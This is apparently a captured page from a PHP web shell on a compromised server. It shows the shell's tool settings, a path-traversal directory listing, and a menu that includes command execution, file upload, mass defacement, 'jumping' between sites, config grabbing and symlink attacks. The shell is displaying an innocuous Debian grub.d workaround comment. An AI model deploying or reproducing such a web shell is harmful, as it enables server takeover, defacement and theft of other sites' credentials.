|
OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /media/../../srv/../etc/binfmt.d/../php/../default/grub.d/ |
| Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
|---|
# Work around a bug in the obsolete init-select package which broke # grub-mkconfig when init-select was removed but not purged. This file does # nothing and will be removed in a later release. # # See: # https://bugs.debian.org/858528 # https://bugs.debian.org/863801